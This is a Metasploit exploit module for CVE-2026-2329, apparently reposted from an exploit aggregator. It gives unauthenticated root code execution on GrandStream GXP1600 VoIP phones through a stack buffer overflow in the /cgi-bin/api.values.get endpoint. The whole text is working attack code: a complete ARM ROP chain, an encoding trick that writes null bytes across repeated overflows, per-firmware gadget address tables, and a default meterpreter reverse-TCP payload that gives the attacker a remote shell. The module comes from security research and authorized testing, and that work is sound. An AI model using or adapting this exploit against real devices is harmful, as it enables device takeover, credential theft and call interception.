Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-GRANDSTREAM_GXP1600_UNAUTH_RCE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GrandStream GXP1600 Unauthenticated Remote Code Execution',
        'Description' => %q{
          An unauthenticated stack-based buffer overflow vulnerability exists in the HTTP API endpoint
          /cgi-bin/api.values.get. A remote attacker can leverage this vulnerability to achieve unauthenticated remote
          code execution (RCE) with root privileges on a target device. The vulnerability affects all six device models
          in the series: GXP1610, GXP1615, GXP1620, GXP1625, GXP1628, and GXP1630. The vulnerability affects all
          firmware versions below version 1.0.7.81.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'sfewer-r7', # Discovery, Analysis, Exploit
        ],
        'References' => [
          ['CVE', '2026-2329'],
          # Rapid7 advisory for CVE-2026-2329
          ['URL', 'https://www.rapid7.com/blog/post/ve-cve-2026-2329-critical-unauthenticated-stack-buffer-overflow-in-grandstream-gxp1600-voip-phones-fixed'],
          # Vendor advisory for CVE-2026-2329 (GSVUL-2026-001)
          ['URL', 'https://psirt.grandstream.com/'],
          # Vendor release notes (PDF) for the fixed firmware version 1.0.7.81.
          ['URL', 'https://firmware.grandstream.com/Release_Note_GXP16xx_1.0.7.81.pdf']
        ],
        'DisclosureDate' => '2026-02-18',
        'Platform' => %w[linux unix],
        'Arch' => ARCH_CMD,
        'Privileged' => true, # /app/bin/gs_web runs as root
        'Targets' => [
          [ 'Automatic', {} ],
        ],
        'DefaultTarget' => 0,
        # NOTE: Tested with the following payloads:
        #   cmd/linux/http/armle/meterpreter_reverse_tcp
        #   cmd/unix/reverse_netcat
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/linux/http/armle/meterpreter_reverse_tcp',
          'RPORT' => 80,
          'SSL' => false,
          # A writable directory on the target for fetch based payloads to write to.
          'FETCH_WRITABLE_DIR' => '/tmp',
          # Delete the fetch binary after execution.
          'FETCH_DELETE' => true
        },
        'Payload' => {
          'BadChars' => ':',
          'Encoder' => 'cmd/base64'
        },
        'Notes' => {
          'Stability' => [CRASH_SERVICE_RESTARTS],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS],
          'RelatedModules' => [
            'post/linux/gather/grandstream_gxp1600_creds',
            'post/linux/capture/grandstream_gxp1600_sip'
          ]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to web admin', '/']),
      ]
    )
  end

  def check
    version_id = '68'
    model_id = 'phone_model'

    server_res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api.values.get'),
      'vars_post' => {
        'request' => "#{version_id}:#{model_id}"
      }
    )

    return CheckCode::Unknown('Connection failed') unless server_res

    return CheckCode::Unknown("Unexpected response code #{server_res.code}") unless server_res.code == 200

    json_data = server_res.get_json_document

    version_str = json_data.dig('body', version_id)

    model_str = json_data.dig('body', model_id)

    return CheckCode::Unknown('Failed to get the version or model info') if version_str.blank? || model_str.blank?

    # These 6 models all share the same firmware for the GXP1600 range.
    affected_models = %w[GXP1610 GXP1615 GXP1620 GXP1625 GXP1628 GXP1630]

    if affected_models.include? model_str
      version = Rex::Version.new(version_str)

      # Teh vulnerability was patched in firmware version 1.0.7.81, released January 30, 2026.
      if version < Rex::Version.new('1.0.7.81')
        return Exploit::CheckCode::Appears("GrandStream #{model_str} version #{version_str}")
      end
    end

    Exploit::CheckCode::Safe("GrandStream #{model_str} version #{version_str}")
  end

  def exploit
    version_id = '68'

    server_res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api.values.get'),
      'vars_post' => {
        'request' => version_id
      }
    )

    fail_with(Failure::UnexpectedReply, 'Failed to get version number') unless server_res&.code == 200

    json_data = server_res.get_json_document

    version_str = json_data.dig('body', version_id)

    rop_table = get_rop_table(version_str)

    fail_with(Failure::BadConfig, "No ROP table available for version #{version_str}") unless rop_table

    vprint_status("ROP Table: #{rop_table}")

    unless rop_table[:gadget3_call_exit]
      print_warning('No ROP gadget available to call exit(). The payload will work, but will crash and core dump the target gs_web process.')
    end

    pointer_size = 4

    rop = [
      :rand4, # padding
      # The vulnerable function returns via this function epilogue: POP {R4-R11,PC}
      # So we initially get control of registers r4 - r11, and then execute gadget1_blx_pop via the overwritten PC.
      rop_table[:address_data_section], # r4 -> .data segment
      :rand4, # r5
      :rand4, # r6
      :rand4, # r7
      :rand4, # r8
      :rand4, # r9
      :rand4, # r10
      :rand4, # r11
      rop_table[:gadget1_blx_pop] + pointer_size, # pc -> pop {r3, pc}
      :patch_offset2cmd, # r3 -> r0 + r3 == "/bin/sh ..."
      rop_table[:gadget2_add_str_add_str_pop], # pc -> add r0, r3, r0; str r7, [r4, #8]; add r6, r0, r6; str r6, [r4, #4]; pop {r4, r5, r6, r7, r8, pc};
      :rand4, # r4
      :rand4, # r5
      :rand4, # r6
      :rand4, # r7
      :rand4, # r8
      rop_table[:gadget1_blx_pop] + pointer_size, # pc -> pop {r3, pc}
      rop_table[:address_system_plt], # r3 -> system@plt
      rop_table[:gadget1_blx_pop], # pc -> blx r3; pop {r3, pc}
      :rand4, # r3
      rop_table[:gadget3_call_exit] || :rand4highnull # pc -> mov r0, 1; bl 0xbcd0 <exit@plt>
    ]

    overflow_buffer = Rex::Text.rand_text_alpha(64)

    rop.map! do |item|
      if item == :patch_offset2cmd
        # When the vulnerable function returns, r0 will point into the stack, 28 bytes before the start of our overflow
        # buffer. We use a gadget (gadget2_add_str_add_str_pop) to add r0 to an offset (held in r3), after this gadget
        # executes, r3 will point to the OS command we want to execute, which is located on the stack directly after
        # our ROP chain. The below offset is the value placed in r3 for this calculation.
        item = 28 + overflow_buffer.length + (rop.length * pointer_size)
      elsif item == :rand4
        item = Rex::Text.rand_text_hex(pointer_size).unpack('V').first
      elsif item == :rand4highnull
        item = Rex::Text.rand_text_hex(pointer_size).unpack('V').first & 0x00FFFFFF
      end
      item
    end

    vprint_status("Encoded ARCH_CMD Payload: #{payload.encoded}")

    request_buffer = gen_buffer(
      rop.pack('V*') << payload.encoded,
      overflow_buffer
    )

    register_file_for_cleanup('/tmp/core.gz')

    register_dir_for_cleanup('/core')

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api.values.get'),
      'vars_post' => {
        'request' => request_buffer
      }
    )
  end

  # The vulnerability only allows for a single null terminator byte to be written during the overflow. To overcome this
  # limitation, we can rely on the fact that the vulnerable function will process the attacker-controlled request
  # parameter as a colon-delimited string of multiple identifiers. Every time a colon is encountered, the overflow can
  # be triggered a subsequent time via the next identifier. We can leverage this, and the ability to write a single null
  # byte as the last character in the current identifier being processed, to write multiple null bytes during exploitation.
  #
  # For example, if we wanted to write a sequence of bytes with 5 null characters in it, e.g.
  # "EEE0DDDDDDD0CCCCCCCC00AAAAAAAAAAA0" (where 0 is a null byte)
  # we can trigger the overflow 5 times by structuring the input as follows:
  # "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE"
  # When the vulnerable function process this colon deliminated input, it will trigger the overflow 5 times, and each
  # time it will write a null byte at the end of the current identifier being processed. The final memory layout will
  # be the expected attacker controller byte sequence. Note, the lengths used in this example are contrived for brevity,
  # as the actual vulnerable function requires a 64 byte buffer to be overflowed for each invocation of the vulnerability.
  #
  # The gen_buffer method will take care of restructuring the input in the above described manner.
  def gen_buffer(input, line_padding = '')
    input << "\x00" unless input[input.length - 1] == "\x00"

    len = input.length

    lines = []

    input.reverse.each_byte do |chr|
      line = '1' * (len - 1)

      if chr.zero?
        line << ':'
      else
        line << [chr].pack('C')
      end

      len -= 1

      lines << line
    end

    res = []

    lines.each do |line|
      if line.end_with? ':'
        res << (line_padding + line)
      else
        res.last[line_padding.length + line.length - 1] = line[line.length - 1]
      end
    end

    res.join
  end

  def get_rop_table(version_str)
    rop_tables = {
      '1.0.7.80' =>
        {
          address_system_plt: 0x0000b868,
          address_data_section: 0x000224c8,
          gadget2_add_str_add_str_pop: 0x0000f110,
          gadget1_blx_pop: 0x0000c230,
          gadget3_call_exit: 0x0000ffc0
        },
      '1.0.7.79' =>
        {
          address_system_plt: 0x0000b73c,
          address_data_section: 0x00022490,
          gadget2_add_str_add_str_pop: 0x0000ef64,
          gadget1_blx_pop: 0x0000c0ec,
          gadget3_call_exit: 0x0000fe14
        },
      '1.0.7.74' =>
        {
          address_system_plt: 0x0000b73c,
          address_data_section: 0x00022490,
          gadget2_add_str_add_str_pop: 0x0000ef64,
          gadget1_blx_pop: 0x0000c0ec,
          gadget3_call_exit: 0x0000fe14
        },
      '1.0.7.70' => {
        address_system_plt: 0x0000b73c,
        address_data_section: 0x00022490,
        gadget2_add_str_add_str_pop: 0x0000ef64,
        gadget1_blx_pop: 0x0000c0ec,
        gadget3_call_exit: 0x0000fe14
      },
      '1.0.7.67' => {
        address_system_plt: 0x0000b6c4,
        address_data_section: 0x00021e6c,
        gadget2_add_str_add_str_pop: 0x0000ed7c,
        gadget1_blx_pop: 0x0000c05c,
        gadget3_call_exit: 0x0000fc2c
      },
      '1.0.7.64' => {
        address_system_plt: 0x0000b6c4,
        address_data_section: 0x00021e2c,
        gadget2_add_str_add_str_pop: 0x0000ed38,
        gadget1_blx_pop: 0x0000c05c,
        gadget3_call_exit: 0x0000fbe8
      },
      '1.0.7.56' => {
        address_system_plt: 0x0000bd78,
        address_data_section: 0x00022474,
        gadget2_add_str_add_str_pop: 0x000140ec,
        gadget1_blx_pop: 0x0000c6bc,
        gadget3_call_exit: nil
      },
      '1.0.7.50' => {
        address_system_plt: 0x0000bd78,
        address_data_section: 0x00022474,
        gadget2_add_str_add_str_pop: 0x000140ec,
        gadget1_blx_pop: 0x0000c6bc,
        gadget3_call_exit: nil
      },
      '1.0.7.49' => {
        address_system_plt: 0x0000bd78,
        address_data_section: 0x00022474,
        gadget2_add_str_add_str_pop: 0x000140ec,
        gadget1_blx_pop: 0x0000c6bc,
        gadget3_call_exit: nil
      },
      '1.0.7.33' => {
        address_system_plt: 0x0000bd10,
        address_data_section: 0x00021e0c,
        gadget2_add_str_add_str_pop: 0x00013ed4,
        gadget1_blx_pop: 0x0000c63c,
        gadget3_call_exit: nil
      },
      '1.0.7.27' => {
        address_system_plt: 0x0000bd10,
        address_data_section: 0x00021e0c,
        gadget2_add_str_add_str_pop: 0x00013ed4,
        gadget1_blx_pop: 0x0000c63c,
        gadget3_call_exit: nil
      },
      '1.0.7.24' => {
        address_system_plt: 0x0000c40c,
        address_data_section: 0x00021948,
        gadget2_add_str_add_str_pop: 0x00013b2c,
        gadget1_blx_pop: 0x0000c600,
        gadget3_call_exit: nil
      },
      '1.0.7.18' => {
        address_system_plt: 0x0000c40c,
        address_data_section: 0x00021470,
        gadget2_add_str_add_str_pop: 0x00013aec,
        gadget1_blx_pop: 0x0000c5f0,
        gadget3_call_exit: nil
      },
      '1.0.7.13' => {
        address_system_plt: 0x0000c40c,
        address_data_section: 0x0002145c,
        gadget2_add_str_add_str_pop: 0x00013adc,
        gadget1_blx_pop: 0x0000c5f0,
        gadget3_call_exit: nil
      },
      '1.0.7.6' => {
        address_system_plt: 0x0000c40c,
        address_data_section: 0x0002145c,
        gadget2_add_str_add_str_pop: 0x00013adc,
        gadget1_blx_pop: 0x0000c5f0,
        gadget3_call_exit: nil
      },
      '1.0.7.3' => {
        address_system_plt: 0x0000c40c,
        address_data_section: 0x0002145c,
        gadget2_add_str_add_str_pop: 0x00013adc,
        gadget1_blx_pop: 0x0000c5f0,
        gadget3_call_exit: nil
      },
      '1.0.5.3' => {
        address_system_plt: 0x0000c40c,
        address_data_section: 0x0002145c,
        gadget2_add_str_add_str_pop: 0x00013adc,
        gadget1_blx_pop: 0x0000c5f0,
        gadget3_call_exit: nil
      },
      '1.0.4.152' => {
        address_system_plt: 0x0000c40c,
        address_data_section: 0x0002145c,
        gadget2_add_str_add_str_pop: 0x00013adc,
        gadget1_blx_pop: 0x0000c5f0,
        gadget3_call_exit: nil
      },
      '1.0.4.140' => {
        address_system_plt: 0x0000c358,
        address_data_section: 0x00021454,
        gadget2_add_str_add_str_pop: 0x000137e8,
        gadget1_blx_pop: 0x0000c53c,
        gadget3_call_exit: nil
      },
      '1.0.4.132' => {
        address_system_plt: 0x0000c358,
        address_data_section: 0x00020c2c,
        gadget2_add_str_add_str_pop: 0x00013558,
        gadget1_blx_pop: 0x0000c53c,
        gadget3_call_exit: nil
      },
      '1.0.4.128' => { # Released August 3, 2018.
        address_system_plt: 0x0000c17c,
        address_data_section: 0x0001e9c4,
        gadget2_add_str_add_str_pop: 0x00011cc8,
        gadget1_blx_pop: 0x0000c360,
        gadget3_call_exit: nil
      }
    }

    rop_tables[version_str]
  end

end